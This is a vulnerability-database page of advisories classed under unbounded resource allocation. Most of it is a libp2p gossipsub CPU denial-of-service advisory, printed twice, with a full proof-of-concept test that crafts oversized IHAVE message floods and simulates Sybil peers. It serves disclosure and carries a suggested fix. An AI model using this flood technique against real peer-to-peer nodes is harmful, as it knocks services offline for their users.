Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

3098 vulnerabilities reference this CWE, most recent first.

GHSA-CW96-GRJ5-M243

Vulnerability from github – Published: 2023-05-12 00:30 – Updated: 2024-04-04 04:02
VLAI
Details

A vulnerability has been identified where a maliciously crafted message containing a specific chain of characters can cause the chat to enter a hot loop on one of the processes, consuming ~120% CPU and rendering the service unresponsive.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-28356"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-11T22:15:09Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified where a maliciously crafted message containing a specific chain of characters can cause the chat to enter a hot loop on one of the processes, consuming ~120% CPU and rendering the service unresponsive.",
  "id": "GHSA-cw96-grj5-m243",
  "modified": "2024-04-04T04:02:57Z",
  "published": "2023-05-12T00:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28356"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1461340"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CWC9-CP4J-MCVV

Vulnerability from github – Published: 2026-07-10 16:04 – Updated: 2026-07-10 16:04
VLAI
Summary
libp2p: CPU DoS via oversized IHAVE and IWANT control message arrays
Details

Summary

gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.

The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.

Details

No decode-time cap on message ID count (message/decodeRpc.ts:11-19)

export const defaultDecodeRpcLimits: DecodeRPCLimits = {
  maxSubscriptions: Infinity,
  maxMessages: Infinity,
  maxIhaveMessageIDs: Infinity,
  maxIwantMessageIDs: Infinity,
  maxIdontwantMessageIDs: Infinity,
  maxControlMessages: Infinity,
  maxPeerInfos: Infinity
}

These are the defaults unless the operator explicitly overrides opts.decodeRpcLimits. A TODO at gossipsub.ts:857 already notes the gap: // TODO: Check max gossip message size, before decodeRpc().

IHAVE iterates all IDs before truncating (gossipsub.ts:1311-1327)

messageIDs.forEach((msgId) => {                                                                            
  const msgIdStr = this.msgIdToStrFn(msgId)                                                               
  if (!this.seenCache.has(msgIdStr)) {                                                                     
    iwant.set(msgIdStr, msgId)                                                                            
  }                                                                                                       
})                                                                                                        
// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes                      

The per-peer flood counters (iasked, peerhave) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.

IWANT has no rate limit at all (gossipsub.ts:1377-1394)

messageIDs?.forEach((msgId) => {                     
  const msgIdStr = this.msgIdToStrFn(msgId)          
  const entry = this.mcache.getWithIWantCount(msgIdStr, id)                                               
  // ...                                                                                                  
})                                                                                                        

Unlike IHAVE, handleIWant has no peerhave or iasked equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (onIwantRcv is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.

Attack Paths

IHAVE (requires ~10 Sybil peers) The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default gossipThreshold of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single ControlIHave entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.

IWANT (single peer, no Sybil) The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.

PoC

Setup and execution of PoC

git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p                                         
npm install                                          
cd packages/gossipsub                                
npx aegir build                                      
node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000                                             

PoC Content:

import { stop } from '@libp2p/interface'
import assert from 'node:assert'
import { performance } from 'node:perf_hooks'
import { encode as lpEncode } from 'it-length-prefixed'
import { pEvent } from 'p-event'
import { RPC } from '../src/message/rpc.js'
import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js'
import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'
import type { GossipSubAndComponents } from './utils/create-pubsub.js'

const TOPIC = 'poc-ihave-flood'
const MSG_ID_BYTES = 20
// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)
const MSG_IDS_PER_IHAVE = 180_000

function randomMsgIds (count: number): Uint8Array[] {
  return Array.from({ length: count }, () => {
    const id = new Uint8Array(MSG_ID_BYTES)
    crypto.getRandomValues(id)
    return id
  })
}

describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () {
  this.timeout(30_000)

  let victim: GossipSubAndComponents
  let attacker: GossipSubAndComponents

  beforeEach(async () => {
    ;[victim, attacker] = await Promise.all([
      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),
      createComponents({ init: { allowPublishToZeroTopicPeers: true } })
    ])

    // Both subscribe to the topic so the victim builds a mesh entry
    victim.pubsub.subscribe(TOPIC)
    attacker.pubsub.subscribe(TOPIC)

    await connectPubsubNodes(victim, attacker)

    // Wait for one heartbeat so the victim's mesh includes the attacker
    await pEvent(victim.pubsub, 'gossipsub:heartbeat')
  })

  afterEach(async () => {
    await stop(
      victim.pubsub, attacker.pubsub,
      ...Object.values(victim.components),
      ...Object.values(attacker.components)
    )
  })

  it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => {
    const attackerIdStr = attacker.components.peerId.toString()

    // Verify attacker is in victim's mesh (required for handleIHave to iterate IDs)
    const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set<string> | undefined
    if (meshPeers == null || !meshPeers.has(attackerIdStr)) {
      // Force mesh membership for the PoC if heartbeat hasn't built it yet
      if (meshPeers == null) {
        (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))
      } else {
        meshPeers.add(attackerIdStr)
      }
    }

    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)

    // Invoke handleIHave directly
    const t0 = performance.now()
    const iwant = (victim.pubsub as any).handleIHave(
      attackerIdStr,
      [{ topicID: TOPIC, messageIDs }]
    ) as Array<{ messageIDs: Uint8Array[] }>
    const elapsed = performance.now() - t0

    console.log(`\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`)
    console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`)
    console.log(`[PoC] Heartbeat interval:  ${GossipsubHeartbeatInterval} ms`)

    // The blocking time should be significant (>>10ms) for a meaningful DoS
    assert.ok(elapsed > 50,
      `expected >50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`)

    // Victim caps the response regardless of how many IDs were iterated
    assert.ok(
      iwant[0]?.messageIDs?.length <= GossipsubMaxIHaveLength,
      `response should be capped at ${GossipsubMaxIHaveLength}`
    )
  })

  it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => {
    const N_PEERS = 10
    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)

    // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes
    const fakeMeshPeers: Set<string> = new Set()
    ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)

    let totalElapsed = 0

    for (let i = 0; i < N_PEERS; i++) {
      // Each "Sybil" peer uses a unique peer ID string
      const fakePeerId = `12D3KooW${i.toString().padStart(36, '0')}`
      fakeMeshPeers.add(fakePeerId)

      // Fresh counters: simulates a peer the victim hasn't seen this heartbeat
      ;(victim.pubsub as any).peerhave.delete(fakePeerId)
      ;(victim.pubsub as any).iasked.delete(fakePeerId)
      // Score defaults to 0 (> gossipThreshold of -10): no score entry needed

      const t0 = performance.now()
      ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])
      const elapsed = performance.now() - t0

      totalElapsed += elapsed
      process.stdout.write(`  peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\n`)
    }

    const ratio = totalElapsed / GossipsubHeartbeatInterval
    console.log(`\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`)
    console.log(`[PoC] Heartbeat interval:                    ${GossipsubHeartbeatInterval} ms`)
    console.log(`[PoC] Ratio (block / heartbeat):             ${ratio.toFixed(2)}x`)
    console.log(`[PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound`)
    console.log(`[PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely`)

    // 10 peers should easily exceed the 1s heartbeat interval
    assert.ok(
      totalElapsed > GossipsubHeartbeatInterval * 0.9,
      `expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms`
    )
  })

  it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => {
    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)

    const rpc = RPC.encode({
      subscriptions: [],
      messages: [],
      control: {
        ihave: [{ topicID: TOPIC, messageIDs }],
        iwant: [],
        graft: [],
        prune: [],
        idontwant: []
      }
    })

    const MAX_LP_BYTES = 4 * 1024 * 1024  // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed

    console.log(`\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)
    console.log(`[PoC] LP frame limit:      ${MAX_LP_BYTES / (1024 * 1024)} MB`)
    console.log(`[PoC] Fits in one frame:   ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)
    console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`)

    assert.ok(rpc.byteLength <= MAX_LP_BYTES,
      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)
  })
})

The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.

Impact

Any node running @libp2p/gossipsub with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling createLibp2p({ services: { pubsub: gossipsub() } }).

With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.

Nodes that explicitly configure opts.decodeRpcLimits with finite values are not affected.

Suggested fix

Set finite defaults in decodeRpc.ts:

export const defaultDecodeRpcLimits: DecodeRPCLimits = {
  maxSubscriptions: 128,
  maxMessages: 256,                                                                                                                                                                                                                                  
  maxIhaveMessageIDs: 5_000,
  maxIwantMessageIDs: 5_000,                                
  maxIdontwantMessageIDs: 5_000,
  maxControlMessages: 128,
  maxPeerInfos: 16
}

Setting maxIhaveMessageIDs and maxIwantMessageIDs to 5000 (matching GossipsubMaxIHaveLength) bounds the iteration cost to the response limit rather than attacker input.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/gossipsub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "16.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T16:04:49Z",
    "nvd_published_at": "2026-07-08T21:16:49Z",
    "severity": "HIGH"
  },
  "details": "### Summary\ngossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.\n\nThe two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.\n\n### Details\n### No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`)\n```typescript                                                                                             \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n  maxSubscriptions: Infinity,\n  maxMessages: Infinity,\n  maxIhaveMessageIDs: Infinity,\n  maxIwantMessageIDs: Infinity,\n  maxIdontwantMessageIDs: Infinity,\n  maxControlMessages: Infinity,\n  maxPeerInfos: Infinity\n}\n```\n\nThese are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`.\n\n### IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`)\n\n```typescript                                                                                                                                                                                                         \nmessageIDs.forEach((msgId) =\u003e {                                                                            \n  const msgIdStr = this.msgIdToStrFn(msgId)                                                               \n  if (!this.seenCache.has(msgIdStr)) {                                                                     \n    iwant.set(msgIdStr, msgId)                                                                            \n  }                                                                                                       \n})                                                                                                        \n// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes                      \n```\n\nThe per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.\n\n### IWANT has no rate limit at all (`gossipsub.ts:1377-1394`)\n```typescript                                        \nmessageIDs?.forEach((msgId) =\u003e {                     \n  const msgIdStr = this.msgIdToStrFn(msgId)          \n  const entry = this.mcache.getWithIWantCount(msgIdStr, id)                                               \n  // ...                                                                                                  \n})                                                                                                        \n```\n\nUnlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker\u0027s score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.\n\n### Attack Paths\n**IHAVE (requires ~10 Sybil peers)**\nThe attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.\n\n**IWANT (single peer, no Sybil)**\nThe attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim\u0027s cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.\n\n### PoC\nSetup and execution of PoC\n```bash                                              \ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p                                         \nnpm install                                          \ncd packages/gossipsub                                \nnpx aegir build                                      \nnode --experimental-vm-modules ../../node_modules/.bin/mocha \u0027dist/test/poc.spec.js\u0027 --timeout 30000                                             \n```\nPoC Content:\n```typescript\nimport { stop } from \u0027@libp2p/interface\u0027\nimport assert from \u0027node:assert\u0027\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { encode as lpEncode } from \u0027it-length-prefixed\u0027\nimport { pEvent } from \u0027p-event\u0027\nimport { RPC } from \u0027../src/message/rpc.js\u0027\nimport { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from \u0027../src/constants.js\u0027\nimport { createComponents, connectPubsubNodes } from \u0027./utils/create-pubsub.js\u0027\nimport type { GossipSubAndComponents } from \u0027./utils/create-pubsub.js\u0027\n\nconst TOPIC = \u0027poc-ihave-flood\u0027\nconst MSG_ID_BYTES = 20\n// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)\nconst MSG_IDS_PER_IHAVE = 180_000\n\nfunction randomMsgIds (count: number): Uint8Array[] {\n  return Array.from({ length: count }, () =\u003e {\n    const id = new Uint8Array(MSG_ID_BYTES)\n    crypto.getRandomValues(id)\n    return id\n  })\n}\n\ndescribe(\u0027CPU DoS via oversized IHAVE and IWANT control message arrays\u0027, function () {\n  this.timeout(30_000)\n\n  let victim: GossipSubAndComponents\n  let attacker: GossipSubAndComponents\n\n  beforeEach(async () =\u003e {\n    ;[victim, attacker] = await Promise.all([\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n    ])\n\n    // Both subscribe to the topic so the victim builds a mesh entry\n    victim.pubsub.subscribe(TOPIC)\n    attacker.pubsub.subscribe(TOPIC)\n\n    await connectPubsubNodes(victim, attacker)\n\n    // Wait for one heartbeat so the victim\u0027s mesh includes the attacker\n    await pEvent(victim.pubsub, \u0027gossipsub:heartbeat\u0027)\n  })\n\n  afterEach(async () =\u003e {\n    await stop(\n      victim.pubsub, attacker.pubsub,\n      ...Object.values(victim.components),\n      ...Object.values(attacker.components)\n    )\n  })\n\n  it(\u0027BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms\u0027, async () =\u003e {\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    // Verify attacker is in victim\u0027s mesh (required for handleIHave to iterate IDs)\n    const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set\u003cstring\u003e | undefined\n    if (meshPeers == null || !meshPeers.has(attackerIdStr)) {\n      // Force mesh membership for the PoC if heartbeat hasn\u0027t built it yet\n      if (meshPeers == null) {\n        (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))\n      } else {\n        meshPeers.add(attackerIdStr)\n      }\n    }\n\n    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n    // Invoke handleIHave directly\n    const t0 = performance.now()\n    const iwant = (victim.pubsub as any).handleIHave(\n      attackerIdStr,\n      [{ topicID: TOPIC, messageIDs }]\n    ) as Array\u003c{ messageIDs: Uint8Array[] }\u003e\n    const elapsed = performance.now() - t0\n\n    console.log(`\\n[PoC] 1 IHAVE \u00d7 ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`)\n    console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`)\n    console.log(`[PoC] Heartbeat interval:  ${GossipsubHeartbeatInterval} ms`)\n\n    // The blocking time should be significant (\u003e\u003e10ms) for a meaningful DoS\n    assert.ok(elapsed \u003e 50,\n      `expected \u003e50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`)\n\n    // Victim caps the response regardless of how many IDs were iterated\n    assert.ok(\n      iwant[0]?.messageIDs?.length \u003c= GossipsubMaxIHaveLength,\n      `response should be capped at ${GossipsubMaxIHaveLength}`\n    )\n  })\n\n  it(\u0027MULTI-PEER: N peers \u00d7 1 IHAVE each, iasked resets per peer, total block scales linearly\u0027, async () =\u003e {\n    const N_PEERS = 10\n    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n    // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes\n    const fakeMeshPeers: Set\u003cstring\u003e = new Set()\n    ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)\n\n    let totalElapsed = 0\n\n    for (let i = 0; i \u003c N_PEERS; i++) {\n      // Each \"Sybil\" peer uses a unique peer ID string\n      const fakePeerId = `12D3KooW${i.toString().padStart(36, \u00270\u0027)}`\n      fakeMeshPeers.add(fakePeerId)\n\n      // Fresh counters: simulates a peer the victim hasn\u0027t seen this heartbeat\n      ;(victim.pubsub as any).peerhave.delete(fakePeerId)\n      ;(victim.pubsub as any).iasked.delete(fakePeerId)\n      // Score defaults to 0 (\u003e gossipThreshold of -10): no score entry needed\n\n      const t0 = performance.now()\n      ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])\n      const elapsed = performance.now() - t0\n\n      totalElapsed += elapsed\n      process.stdout.write(`  peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\\n`)\n    }\n\n    const ratio = totalElapsed / GossipsubHeartbeatInterval\n    console.log(`\\n[PoC] ${N_PEERS} peers \u00d7 ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`)\n    console.log(`[PoC] Heartbeat interval:                    ${GossipsubHeartbeatInterval} ms`)\n    console.log(`[PoC] Ratio (block / heartbeat):             ${ratio.toFixed(2)}x`)\n    console.log(`[PoC] Attacker cost: ${N_PEERS} \u00d7 4 MB = ${N_PEERS * 4} MB/s outbound`)\n    console.log(`[PoC] Each peer\u0027s iasked resets at heartbeat \u2014 sustainable indefinitely`)\n\n    // 10 peers should easily exceed the 1s heartbeat interval\n    assert.ok(\n      totalElapsed \u003e GossipsubHeartbeatInterval * 0.9,\n      `expected ${N_PEERS} peers to block \u2265 ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms`\n    )\n  })\n\n  it(\u0027ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit\u0027, () =\u003e {\n    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n    const rpc = RPC.encode({\n      subscriptions: [],\n      messages: [],\n      control: {\n        ihave: [{ topicID: TOPIC, messageIDs }],\n        iwant: [],\n        graft: [],\n        prune: [],\n        idontwant: []\n      }\n    })\n\n    const MAX_LP_BYTES = 4 * 1024 * 1024  // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed\n\n    console.log(`\\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n    console.log(`[PoC] LP frame limit:      ${MAX_LP_BYTES / (1024 * 1024)} MB`)\n    console.log(`[PoC] Fits in one frame:   ${rpc.byteLength \u003c= MAX_LP_BYTES ? \u0027YES \u2713\u0027 : \u0027NO \u2717\u0027}`)\n    console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`)\n\n    assert.ok(rpc.byteLength \u003c= MAX_LP_BYTES,\n      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default \u2014 confirms no LP-level protection`)\n  })\n})\n```\n\nThe IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.\n\n### Impact\nAny node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`.\n\nWith 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.\n\nNodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected.\n\n## Suggested fix\n\nSet finite defaults in `decodeRpc.ts`:\n```typescript\nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n  maxSubscriptions: 128,\n  maxMessages: 256,                                                                                                                                                                                                                                  \n  maxIhaveMessageIDs: 5_000,\n  maxIwantMessageIDs: 5_000,                                \n  maxIdontwantMessageIDs: 5_000,\n  maxControlMessages: 128,\n  maxPeerInfos: 16\n}\n```\n\nSetting `maxIhaveMessageIDs` and `maxIwantMessageIDs` to 5000 (matching `GossipsubMaxIHaveLength`) bounds the iteration cost to the response limit rather than attacker input.",
  "id": "GHSA-cwc9-cp4j-mcvv",
  "modified": "2026-07-10T16:04:49Z",
  "published": "2026-07-10T16:04:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-cwc9-cp4j-mcvv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/pull/3520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/commit/773dd80ded24dbd6b19e675c89fd2f3b45f2d899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: CPU DoS via oversized IHAVE and IWANT control message arrays"
}

GHSA-CWF3-GFFJ-25FM

Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04
VLAI
Details

An allocation of memory without limits, that could result in the stack clashing with another memory region, was discovered in systemd-journald when many entries are sent to the journal socket. A local attacker, or a remote one if systemd-journal-remote is used, may use this flaw to crash systemd-journald or execute code with journald privileges. Versions through v240 are vulnerable.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-16865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-11T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "An allocation of memory without limits, that could result in the stack clashing with another memory region, was discovered in systemd-journald when many entries are sent to the journal socket. A local attacker, or a remote one if systemd-journal-remote is used, may use this flaw to crash systemd-journald or execute code with journald privileges. Versions through v240 are vulnerable.",
  "id": "GHSA-cwf3-gffj-25fm",
  "modified": "2022-05-13T01:04:10Z",
  "published": "2022-05-13T01:04:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16865"
    },
    {
      "type": "WEB",
      "url": "https://www.qualys.com/2019/01/09/system-down/system-down.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4367"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3855-1"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190117-0001"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201903-07"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/May/25"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/01/msg00016.html"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16865"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1653861"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2018-16865"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2402"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0361"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0342"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0271"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0204"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0049"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHBA-2019:0327"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/152841/System-Down-A-systemd-journald-Exploit.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2019/May/21"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/05/10/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/07/20/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106525"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CWJM-3F7H-9HWQ

Vulnerability from github – Published: 2026-01-15 22:58 – Updated: 2026-01-16 15:20
VLAI
Summary
